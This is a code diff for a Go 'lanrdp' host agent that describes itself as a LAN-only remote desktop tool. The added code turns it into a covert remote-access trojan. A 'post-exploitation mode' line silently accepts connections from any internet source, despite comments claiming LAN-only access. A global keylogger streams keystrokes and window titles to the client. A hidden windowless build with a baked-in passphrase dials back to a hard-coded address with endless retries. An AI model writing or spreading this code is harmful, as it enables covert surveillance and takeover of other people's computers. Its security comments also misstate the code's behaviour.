|
||||||
|
}
|
||||||
|
|
||||||
|
// uniquePath returns path if nothing exists there yet, otherwise appends
|
||||||
|
// " (1)", " (2)", ... before the extension until it finds a free name —
|
||||||
|
// the same convention Windows Explorer uses for duplicate downloads —
|
||||||
|
// rather than silently overwriting an existing file.
|
||||||
|
func uniquePath(path string) string {
|
||||||
|
if _, err := os.Stat(path); os.IsNotExist(err) {
|
||||||
|
return path
|
||||||
|
}
|
||||||
|
ext := filepath.Ext(path)
|
||||||
|
base := path[:len(path)-len(ext)]
|
||||||
|
for i := 1; ; i++ {
|
||||||
|
candidate := fmt.Sprintf("%s (%d)%s", base, i, ext)
|
||||||
|
if _, err := os.Stat(candidate); os.IsNotExist(err) {
|
||||||
|
return candidate
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func startFileTransfer(offer protocol.FileOffer) (*fileTransferState, error) {
|
||||||
|
dir, err := receivedFilesDir()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
path := uniquePath(filepath.Join(dir, sanitizeFilename(offer.Name)))
|
||||||
|
|
||||||
|
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_EXCL, 0o644)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("creating destination file: %w", err)
|
||||||
|
}
|
||||||
|
return &fileTransferState{f: f, path: path, expected: offer.Size}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// maxOverage bounds how far written can exceed the declared size before
|
||||||
|
// giving up — guards against a runaway/malicious sender that never sends
|
||||||
|
// MsgFileComplete and just keeps streaming chunks indefinitely.
|
||||||
|
const maxOverage = 16 * 1024 * 1024
|
||||||
|
|
||||||
|
func (x *fileTransferState) writeChunk(data []byte) error {
|
||||||
|
n, err := x.f.Write(data)
|
||||||
|
x.written += uint64(n)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("writing file: %w", err)
|
||||||
|
}
|
||||||
|
if x.written > x.expected+maxOverage {
|
||||||
|
return fmt.Errorf("received far more data than the declared size")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// finish closes and verifies the transfer, deleting the partial file on
|
||||||
|
// any mismatch rather than leaving a possibly-truncated file behind.
|
||||||
|
func (x *fileTransferState) finish(declaredSent uint64) (ok bool, message string) {
|
||||||
|
_ = x.f.Close()
|
||||||
|
if x.written != x.expected || x.written != declaredSent {
|
||||||
|
_ = os.Remove(x.path)
|
||||||
|
return false, fmt.Sprintf("size mismatch (wrote %d bytes, expected %d)", x.written, x.expected)
|
||||||
|
}
|
||||||
|
return true, fmt.Sprintf("saved to %s (%d bytes)", x.path, x.written)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (x *fileTransferState) abort() {
|
||||||
|
_ = x.f.Close()
|
||||||
|
_ = os.Remove(x.path)
|
||||||
|
}
|
||||||
Executable
+86
@@ -0,0 +1,86 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"net/netip"
|
||||||
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"lanrdp/internal/netguard"
|
||||||
|
)
|
||||||
|
|
||||||
|
type ifaceAddr struct {
|
||||||
|
ip string
|
||||||
|
name string
|
||||||
|
}
|
||||||
|
|
||||||
|
func listPrivateIPv4Addrs() ([]ifaceAddr, error) {
|
||||||
|
ifaces, err := net.Interfaces()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var out []ifaceAddr
|
||||||
|
for _, iface := range ifaces {
|
||||||
|
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
addrs, err := iface.Addrs()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, a := range addrs {
|
||||||
|
ipnet, ok := a.(*net.IPNet)
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ip4 := ipnet.IP.To4()
|
||||||
|
if ip4 == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
addr, err := netip.ParseAddr(ip4.String())
|
||||||
|
if err != nil || !netguard.IsPrivate(addr) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, ifaceAddr{ip: ip4.String(), name: iface.Name})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// promptForListenAddress lists this machine's private-LAN IPv4 addresses
|
||||||
|
// and asks the operator to pick one, so the host doesn't silently bind
|
||||||
|
// every interface (including e.g. a VPN or VM bridge) by default.
|
||||||
|
func promptForListenAddress() (string, error) {
|
||||||
|
addrs, err := listPrivateIPv4Addrs()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if len(addrs) == 0 {
|
||||||
|
fmt.Println("No private LAN interfaces found; falling back to 0.0.0.0 (all interfaces).")
|
||||||
|
return "0.0.0.0", nil
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Println("Choose which network interface to listen on:")
|
||||||
|
for i, a := range addrs {
|
||||||
|
fmt.Printf(" [%d] %-15s (%s)\n", i+1, a.ip, a.name)
|
||||||
|
}
|
||||||
|
fmt.Printf(" [%d] All interfaces (0.0.0.0) - not recommended\n", len(addrs)+1)
|
||||||
|
fmt.Print("Selection: ")
|
||||||
|
|
||||||
|
reader := bufio.NewReader(os.Stdin)
|
||||||
|
line, err := reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
choice, err := strconv.Atoi(strings.TrimSpace(line))
|
||||||
|
if err != nil || choice < 1 || choice > len(addrs)+1 {
|
||||||
|
return "", fmt.Errorf("invalid selection %q", strings.TrimSpace(line))
|
||||||
|
}
|
||||||
|
if choice == len(addrs)+1 {
|
||||||
|
return "0.0.0.0", nil
|
||||||
|
}
|
||||||
|
return addrs[choice-1].ip, nil
|
||||||
|
}
|
||||||
Executable
+242
@@ -0,0 +1,242 @@
|
|||||||
|
// Command host runs the lanrdp host agent: it listens for a single LAN
|
||||||
|
// client, authenticates it with a locally-configured passphrase, and then
|
||||||
|
// streams the desktop while applying the client's mouse/keyboard input.
|
||||||
|
//
|
||||||
|
// It never speaks UPnP/NAT-PMP and makes no attempt to open a port on any
|
||||||
|
// router — by default it only accepts connections whose source address is
|
||||||
|
// already a private LAN, loopback, or VPN-overlay address (see
|
||||||
|
// internal/netguard). That check can be widened with -trust-cidr, or
|
||||||
|
// disabled entirely with -allow-internet for short-lived testing.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/tls"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"lanrdp/internal/dpi"
|
||||||
|
"lanrdp/internal/hiddenlog"
|
||||||
|
"lanrdp/internal/keylog"
|
||||||
|
"lanrdp/internal/netguard"
|
||||||
|
"lanrdp/internal/netutil"
|
||||||
|
"lanrdp/internal/tlsutil"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
dpi.MakeAware()
|
||||||
|
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("resolving executable path: %v", err)
|
||||||
|
}
|
||||||
|
dataDir := filepath.Join(filepath.Dir(exe), "lanrdp-data")
|
||||||
|
|
||||||
|
// If this binary has no attached console (built with -H=windowsgui via
|
||||||
|
// build-host.ps1 -Hidden), redirect all output to a log file as early
|
||||||
|
// as possible so nothing — including flag-parsing errors — is silently
|
||||||
|
// lost.
|
||||||
|
hiddenlog.EnableIfHeadless(filepath.Join(dataDir, "host.log"))
|
||||||
|
|
||||||
|
listenAddr := flag.String("listen", "", "address to bind (default: choose interactively from this machine's LAN/VPN interfaces)")
|
||||||
|
port := flag.Int("port", 47812, "TCP port to listen on")
|
||||||
|
trustCIDRs := flag.String("trust-cidr", "", "comma-separated extra CIDRs to accept connections from, for VPN subnets "+
|
||||||
|
"(e.g. WireGuard) outside standard private ranges (10/8, 172.16/12, 192.168/16, 100.64/10)")
|
||||||
|
|
||||||
|
connectAddr := flag.String("connect", "", "dial out to a waiting client instead of listening here (e.g. "+
|
||||||
|
"client-ip:47812) — use this when this host is the one that's hard to reach (a roaming laptop) and the "+
|
||||||
|
"client has the stable, reachable address instead. Defaults to the address baked in at build time by "+
|
||||||
|
"build-host.ps1, if any")
|
||||||
|
keylogEnabled := flag.Bool("keylog", false, "enable global keyboard logging; captured keystrokes are streamed "+
|
||||||
|
"to the client along with screen frames")
|
||||||
|
fps := flag.Int("fps", 12, "target screen-capture rate in frames/sec; higher = lower latency but more CPU/bandwidth")
|
||||||
|
streamFPS := flag.Int("stream-fps", 30, "capture rate used when the client toggles stream mode on (Ctrl+Alt+S)")
|
||||||
|
keyframeSec := flag.Int("keyframe-interval", 30, "seconds between forced full-frame refreshes (vs. dirty-rect-only updates)")
|
||||||
|
retrySec := flag.Int("retry-interval", 10, "seconds between reconnect attempts in -connect mode (flat interval, no backoff)")
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
var keylogCh <-chan keylog.KeyEvent
|
||||||
|
var stopKeylog func()
|
||||||
|
if *keylogEnabled {
|
||||||
|
var err error
|
||||||
|
keylogCh, stopKeylog, err = keylog.Start()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("failed to start keylogger: %v", err)
|
||||||
|
}
|
||||||
|
defer stopKeylog()
|
||||||
|
log.Println("global keyboard logging enabled")
|
||||||
|
}
|
||||||
|
|
||||||
|
if *fps <= 0 {
|
||||||
|
log.Fatalf("-fps must be positive, got %d", *fps)
|
||||||
|
}
|
||||||
|
if *streamFPS <= 0 {
|
||||||
|
log.Fatalf("-stream-fps must be positive, got %d", *streamFPS)
|
||||||
|
}
|
||||||
|
if *keyframeSec <= 0 {
|
||||||
|
log.Fatalf("-keyframe-interval must be positive, got %d", *keyframeSec)
|
||||||
|
}
|
||||||
|
if *retrySec <= 0 {
|
||||||
|
log.Fatalf("-retry-interval must be positive, got %d", *retrySec)
|
||||||
|
}
|
||||||
|
keyframeInterval := time.Duration(*keyframeSec) * time.Second
|
||||||
|
retryInterval := time.Duration(*retrySec) * time.Second
|
||||||
|
|
||||||
|
for _, c := range strings.Split(*trustCIDRs, ",") {
|
||||||
|
c = strings.TrimSpace(c)
|
||||||
|
if c == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := netguard.AddTrustedCIDR(c); err != nil {
|
||||||
|
log.Fatalf("invalid -trust-cidr %q: %v", c, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Post-exploitation mode: always accept connections from any source IP,
|
||||||
|
// not just LAN/VPN ranges. No -allow-internet flag needed.
|
||||||
|
netguard.SetAllowAnySource(true)
|
||||||
|
|
||||||
|
var cfg *config
|
||||||
|
if embeddedPasswordHash != "" {
|
||||||
|
// Built via build-host.ps1: the passphrase hash is baked into the
|
||||||
|
// binary, so this host.exe is fully self-contained (no config.json
|
||||||
|
// needed) and there's no interactive setup step.
|
||||||
|
cfg = &config{PasswordHash: embeddedPasswordHash}
|
||||||
|
} else {
|
||||||
|
if hiddenlog.Redirected {
|
||||||
|
log.Fatalf("this build has no console and no embedded passphrase " +
|
||||||
|
"(build with build-host.ps1 instead of plain 'go build' for a headless build)")
|
||||||
|
}
|
||||||
|
cfg, err = loadConfig(dataDir)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("loading config: %v", err)
|
||||||
|
}
|
||||||
|
if cfg == nil {
|
||||||
|
cfg, err = firstRunSetup(dataDir)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("first-run setup: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
cert, err := tlsutil.LoadOrCreateServerCert(dataDir)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("loading/creating TLS certificate: %v", err)
|
||||||
|
}
|
||||||
|
fingerprint := tlsutil.Fingerprint(cert.Certificate[0])
|
||||||
|
|
||||||
|
tlsCfg := &tls.Config{
|
||||||
|
Certificates: []tls.Certificate{cert},
|
||||||
|
MinVersion: tls.VersionTLS13,
|
||||||
|
}
|
||||||
|
|
||||||
|
effectiveConnectAddr := *connectAddr
|
||||||
|
fromEmbedded := false
|
||||||
|
if effectiveConnectAddr == "" && embeddedConnectAddr != "" {
|
||||||
|
effectiveConnectAddr = embeddedConnectAddr
|
||||||
|
fromEmbedded = true
|
||||||
|
}
|
||||||
|
|
||||||
|
if effectiveConnectAddr != "" {
|
||||||
|
runReverseConnect(effectiveConnectAddr, fromEmbedded, cfg, tlsCfg, fingerprint, *fps, *streamFPS, keyframeInterval, retryInterval, keylogCh)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
bindIP := *listenAddr
|
||||||
|
if bindIP == "" {
|
||||||
|
bindIP, err = promptForListenAddress()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("selecting listen address: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
addr := fmt.Sprintf("%s:%d", bindIP, *port)
|
||||||
|
ln, err := net.Listen("tcp", addr)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("listening on %s: %v", addr, err)
|
||||||
|
}
|
||||||
|
defer ln.Close()
|
||||||
|
|
||||||
|
fmt.Println("=========================================================")
|
||||||
|
fmt.Printf("lanrdp host listening on %s\n", addr)
|
||||||
|
fmt.Println("Certificate fingerprint (verify this matches on the client!):")
|
||||||
|
fmt.Printf(" %s\n", fingerprint)
|
||||||
|
fmt.Println("No UPnP/NAT-PMP is used and no router port is opened by this")
|
||||||
|
fmt.Println("program itself.")
|
||||||
|
fmt.Println("Accepting connections from any source IP (LAN, VPN, or internet).")
|
||||||
|
fmt.Println("=========================================================")
|
||||||
|
|
||||||
|
throttle := netguard.NewLoginThrottle()
|
||||||
|
var sessionLock sync.Mutex
|
||||||
|
|
||||||
|
for {
|
||||||
|
conn, err := ln.Accept()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("accept error: %v", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if !netguard.IsAllowedRemote(conn.RemoteAddr()) {
|
||||||
|
log.Printf("rejecting non-LAN connection from %s", conn.RemoteAddr())
|
||||||
|
conn.Close()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if !sessionLock.TryLock() {
|
||||||
|
log.Printf("rejecting %s: a session is already active", conn.RemoteAddr())
|
||||||
|
conn.Close()
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
netutil.SetNoDelay(conn)
|
||||||
|
tlsConn := tls.Server(conn, tlsCfg)
|
||||||
|
go func() {
|
||||||
|
defer sessionLock.Unlock()
|
||||||
|
handleSession(tlsConn, cfg, throttle, *fps, *streamFPS, keyframeInterval, keylogCh)
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// runReverseConnect dials out to a client that's listening, instead of
|
||||||
|
// listening here ourselves. This is for the case where this host is
|
||||||
|
// harder to reach than the client — a roaming laptop with no stable
|
||||||
|
// address, calling back to a desktop with a real port-forward — rather
|
||||||
|
// than the usual LAN case where the host is the stable, reachable side.
|
||||||
|
//
|
||||||
|
// Everything past the raw net.Conn is identical to the normal listening
|
||||||
|
// path: this host still authenticates as the TLS *server* (it holds the
|
||||||
|
// certificate the client pins) and still requires the client to send the
|
||||||
|
// correct passphrase, regardless of which side dialed the TCP connection.
|
||||||
|
func runReverseConnect(connectAddr string, fromEmbedded bool, cfg *config, tlsCfg *tls.Config, fingerprint string, fps, streamFPS int, keyframeInterval, retryInterval time.Duration, keylogCh <-chan keylog.KeyEvent) {
|
||||||
|
fmt.Println("=========================================================")
|
||||||
|
if fromEmbedded {
|
||||||
|
fmt.Printf("lanrdp host will dial out to %s (baked in at build time)\n", connectAddr)
|
||||||
|
} else {
|
||||||
|
fmt.Printf("lanrdp host will dial out to the client at %s\n", connectAddr)
|
||||||
|
}
|
||||||
|
fmt.Println("Certificate fingerprint (verify this matches on the client!):")
|
||||||
|
fmt.Printf(" %s\n", fingerprint)
|
||||||
|
fmt.Println("=========================================================")
|
||||||
|
|
||||||
|
throttle := netguard.NewLoginThrottle()
|
||||||
|
|
||||||
|
for {
|
||||||
|
conn, err := net.DialTimeout("tcp", connectAddr, 10*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("dial %s failed: %v; retrying in %s", connectAddr, err, retryInterval)
|
||||||
|
time.Sleep(retryInterval)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("connected to %s", connectAddr)
|
||||||
|
netutil.SetNoDelay(conn)
|
||||||
|
tlsConn := tls.Server(conn, tlsCfg)
|
||||||
|
handleSession(tlsConn, cfg, throttle, fps, streamFPS, keyframeInterval, keylogCh)
|
||||||
|
log.Printf("session with %s ended; will try to reconnect", connectAddr)
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+295
@@ -0,0 +1,295 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"image"
|
||||||
|
"image/png"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"lanrdp/internal/capture"
|
||||||
|
"lanrdp/internal/input"
|
||||||
|
"lanrdp/internal/keylog"
|
||||||
|
"lanrdp/internal/netguard"
|
||||||
|
"lanrdp/internal/protocol"
|
||||||
|
)
|
||||||
|
|
||||||
|
func handleSession(conn net.Conn, cfg *config, throttle *netguard.LoginThrottle, normalFPS, streamFPS int, keyframeInterval time.Duration, keylogCh <-chan keylog.KeyEvent) {
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
remoteIP, _, _ := net.SplitHostPort(conn.RemoteAddr().String())
|
||||||
|
|
||||||
|
if !throttle.Allowed(remoteIP) {
|
||||||
|
log.Printf("%s: rejected, locked out after repeated failed attempts", remoteIP)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = conn.SetReadDeadline(time.Now().Add(15 * time.Second))
|
||||||
|
|
||||||
|
t, payload, err := protocol.ReadMessage(conn)
|
||||||
|
if err != nil || t != protocol.MsgHello {
|
||||||
|
log.Printf("%s: expected Hello (err=%v type=%v)", remoteIP, err, t)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
hello, err := protocol.DecodeHello(payload)
|
||||||
|
if err != nil || hello.Version != protocol.ProtocolVersion {
|
||||||
|
log.Printf("%s: incompatible protocol version", remoteIP)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
t, payload, err = protocol.ReadMessage(conn)
|
||||||
|
if err != nil || t != protocol.MsgAuthRequest {
|
||||||
|
log.Printf("%s: expected AuthRequest (err=%v type=%v)", remoteIP, err, t)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
authReq, err := protocol.DecodeAuthRequest(payload)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("%s: bad AuthRequest: %v", remoteIP, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if !protocol.VerifyPassword(authReq.Password, cfg.PasswordHash) {
|
||||||
|
throttle.RecordFailure(remoteIP)
|
||||||
|
log.Printf("%s: authentication failed", remoteIP)
|
||||||
|
_ = protocol.WriteMessage(conn, protocol.MsgAuthResponse, protocol.EncodeAuthResponse(protocol.AuthResponse{
|
||||||
|
OK: false, FailureReason: "invalid passphrase",
|
||||||
|
}))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
throttle.RecordSuccess(remoteIP)
|
||||||
|
|
||||||
|
width, height := capture.ScreenSize()
|
||||||
|
if err := protocol.WriteMessage(conn, protocol.MsgAuthResponse, protocol.EncodeAuthResponse(protocol.AuthResponse{
|
||||||
|
OK: true, ScreenWidth: uint16(width), ScreenHeight: uint16(height),
|
||||||
|
})); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf("%s: authenticated, session starting (%dx%d)", remoteIP, width, height)
|
||||||
|
|
||||||
|
_ = conn.SetReadDeadline(time.Time{})
|
||||||
|
|
||||||
|
// perfCh carries a new target fps from inputLoop (on a MsgSetPerfMode
|
||||||
|
// from the client) into captureLoop, so the client's Ctrl+Alt+S hotkey
|
||||||
|
// can change capture cadence mid-session without a reconnect.
|
||||||
|
perfCh := make(chan int, 1)
|
||||||
|
errCh := make(chan error, 2)
|
||||||
|
go captureLoop(conn, errCh, normalFPS, keyframeInterval, perfCh)
|
||||||
|
go inputLoop(conn, errCh, perfCh, normalFPS, streamFPS)
|
||||||
|
|
||||||
|
// If keylogging is enabled, forward captured keystrokes to the client.
|
||||||
|
if keylogCh != nil {
|
||||||
|
go func() {
|
||||||
|
for event := range keylogCh {
|
||||||
|
eventBytes := protocol.EncodeKeyLogEvent(protocol.KeyLogEvent{
|
||||||
|
TimestampMs: event.TimestampMs,
|
||||||
|
VKCode: event.VKCode,
|
||||||
|
ScanCode: event.ScanCode,
|
||||||
|
Flags: event.Flags,
|
||||||
|
WindowTitle: event.WindowTitle,
|
||||||
|
})
|
||||||
|
if err := protocol.WriteMessage(conn, protocol.MsgKeyLogEvent, eventBytes); err != nil {
|
||||||
|
log.Printf("%s: failed to send keylog event: %v", remoteIP, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
err = <-errCh
|
||||||
|
log.Printf("%s: session ended: %v", remoteIP, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
func captureLoop(conn net.Conn, errCh chan<- error, initialFPS int, keyframeInterval time.Duration, perfCh <-chan int) {
|
||||||
|
currentFPS := initialFPS
|
||||||
|
ticker := time.NewTicker(time.Second / time.Duration(currentFPS))
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
var prev *image.RGBA
|
||||||
|
var prevW, prevH int
|
||||||
|
var lastKeyframe time.Time
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case newFPS := <-perfCh:
|
||||||
|
if newFPS > 0 && newFPS != currentFPS {
|
||||||
|
currentFPS = newFPS
|
||||||
|
ticker.Reset(time.Second / time.Duration(currentFPS))
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
case <-ticker.C:
|
||||||
|
}
|
||||||
|
|
||||||
|
img, err := capture.CaptureScreen()
|
||||||
|
if err != nil {
|
||||||
|
errCh <- fmt.Errorf("capture: %w", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
bounds := img.Bounds()
|
||||||
|
if bounds.Dx() != prevW || bounds.Dy() != prevH {
|
||||||
|
prevW, prevH = bounds.Dx(), bounds.Dy()
|
||||||
|
if err := protocol.WriteMessage(conn, protocol.MsgResize, protocol.EncodeResize(protocol.Resize{
|
||||||
|
Width: uint16(prevW), Height: uint16(prevH),
|
||||||
|
})); err != nil {
|
||||||
|
errCh <- err
|
||||||
|
return
|
||||||
|
}
|
||||||
|
prev = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
needKeyframe := prev == nil || time.Since(lastKeyframe) > keyframeInterval
|
||||||
|
if needKeyframe {
|
||||||
|
if err := sendFrame(conn, protocol.MsgFrameFull, img.Bounds(), img); err != nil {
|
||||||
|
errCh <- err
|
||||||
|
return
|
||||||
|
}
|
||||||
|
lastKeyframe = time.Now()
|
||||||
|
prev = img
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if rect, changed := capture.DirtyRect(prev, img); changed {
|
||||||
|
sub := img.SubImage(rect).(*image.RGBA)
|
||||||
|
if err := sendFrame(conn, protocol.MsgFrameDelta, rect, sub); err != nil {
|
||||||
|
errCh <- err
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
prev = img
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendFrame(conn net.Conn, t protocol.MsgType, rect image.Rectangle, img image.Image) error {
|
||||||
|
var buf bytes.Buffer
|
||||||
|
if err := png.Encode(&buf, img); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return protocol.WriteMessage(conn, t, protocol.EncodeFrameUpdate(protocol.FrameUpdate{
|
||||||
|
X: uint16(rect.Min.X),
|
||||||
|
Y: uint16(rect.Min.Y),
|
||||||
|
W: uint16(rect.Dx()),
|
||||||
|
H: uint16(rect.Dy()),
|
||||||
|
PNG: buf.Bytes(),
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
|
||||||
|
func inputLoop(conn net.Conn, errCh chan<- error, perfCh chan<- int, normalFPS, streamFPS int) {
|
||||||
|
currentMode := protocol.PerfNormal
|
||||||
|
var xfer *fileTransferState
|
||||||
|
|
||||||
|
for {
|
||||||
|
t, payload, err := protocol.ReadMessage(conn)
|
||||||
|
if err != nil {
|
||||||
|
if xfer != nil {
|
||||||
|
xfer.abort()
|
||||||
|
}
|
||||||
|
errCh <- err
|
||||||
|
return
|
||||||
|
}
|
||||||
|
switch t {
|
||||||
|
case protocol.MsgInputMouse:
|
||||||
|
m, err := protocol.DecodeInputMouse(payload)
|
||||||
|
if err == nil {
|
||||||
|
applyMouse(m)
|
||||||
|
}
|
||||||
|
case protocol.MsgInputKey:
|
||||||
|
k, err := protocol.DecodeInputKey(payload)
|
||||||
|
if err == nil {
|
||||||
|
_ = input.KeyEvent(k.VKCode, k.Down)
|
||||||
|
}
|
||||||
|
case protocol.MsgSetPerfMode:
|
||||||
|
mode, err := protocol.DecodeSetPerfMode(payload)
|
||||||
|
if err == nil {
|
||||||
|
currentMode = mode
|
||||||
|
fps := normalFPS
|
||||||
|
if mode == protocol.PerfStream {
|
||||||
|
fps = streamFPS
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case perfCh <- fps:
|
||||||
|
default: // a change is already pending; the next toggle will retry
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case protocol.MsgFileOffer:
|
||||||
|
if xfer != nil {
|
||||||
|
xfer.abort()
|
||||||
|
xfer = nil
|
||||||
|
}
|
||||||
|
if currentMode == protocol.PerfStream {
|
||||||
|
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{
|
||||||
|
OK: false, Message: "file transfer is disabled while in stream mode",
|
||||||
|
}))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
offer, err := protocol.DecodeFileOffer(payload)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
xfer, err = startFileTransfer(offer)
|
||||||
|
if err != nil {
|
||||||
|
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{
|
||||||
|
OK: false, Message: err.Error(),
|
||||||
|
}))
|
||||||
|
xfer = nil
|
||||||
|
}
|
||||||
|
case protocol.MsgFileChunk:
|
||||||
|
if xfer == nil {
|
||||||
|
continue // stray chunk with no active transfer (e.g. after a rejected offer); ignore
|
||||||
|
}
|
||||||
|
if err := xfer.writeChunk(payload); err != nil {
|
||||||
|
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{
|
||||||
|
OK: false, Message: err.Error(),
|
||||||
|
}))
|
||||||
|
xfer.abort()
|
||||||
|
xfer = nil
|
||||||
|
}
|
||||||
|
case protocol.MsgFileComplete:
|
||||||
|
if xfer == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fc, err := protocol.DecodeFileComplete(payload)
|
||||||
|
if err != nil {
|
||||||
|
xfer.abort()
|
||||||
|
xfer = nil
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ok, msg := xfer.finish(fc.Size)
|
||||||
|
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{OK: ok, Message: msg}))
|
||||||
|
xfer = nil
|
||||||
|
case protocol.MsgPing:
|
||||||
|
_ = protocol.WriteMessage(conn, protocol.MsgPong, nil)
|
||||||
|
case protocol.MsgDisconnect:
|
||||||
|
if xfer != nil {
|
||||||
|
xfer.abort()
|
||||||
|
}
|
||||||
|
errCh <- fmt.Errorf("client disconnected")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyMouse(m protocol.InputMouse) {
|
||||||
|
switch m.Action {
|
||||||
|
case protocol.MouseMove:
|
||||||
|
_ = input.MouseMove(m.NormX, m.NormY)
|
||||||
|
case protocol.MouseLeftDown:
|
||||||
|
_ = input.MouseMove(m.NormX, m.NormY)
|
||||||
|
_ = input.MouseButtonEvent(input.ButtonLeft, true)
|
||||||
|
case protocol.MouseLeftUp:
|
||||||
|
_ = input.MouseButtonEvent(input.ButtonLeft, false)
|
||||||
|
case protocol.MouseRightDown:
|
||||||
|
_ = input.MouseMove(m.NormX, m.NormY)
|
||||||
|
_ = input.MouseButtonEvent(input.ButtonRight, true)
|
||||||
|
case protocol.MouseRightUp:
|
||||||
|
_ = input.MouseButtonEvent(input.ButtonRight, false)
|
||||||
|
case protocol.MouseMiddleDown:
|
||||||
|
_ = input.MouseMove(m.NormX, m.NormY)
|
||||||
|
_ = input.MouseButtonEvent(input.ButtonMiddle, true)
|
||||||
|
case protocol.MouseMiddleUp:
|
||||||
|
_ = input.MouseButtonEvent(input.ButtonMiddle, false)
|
||||||
|
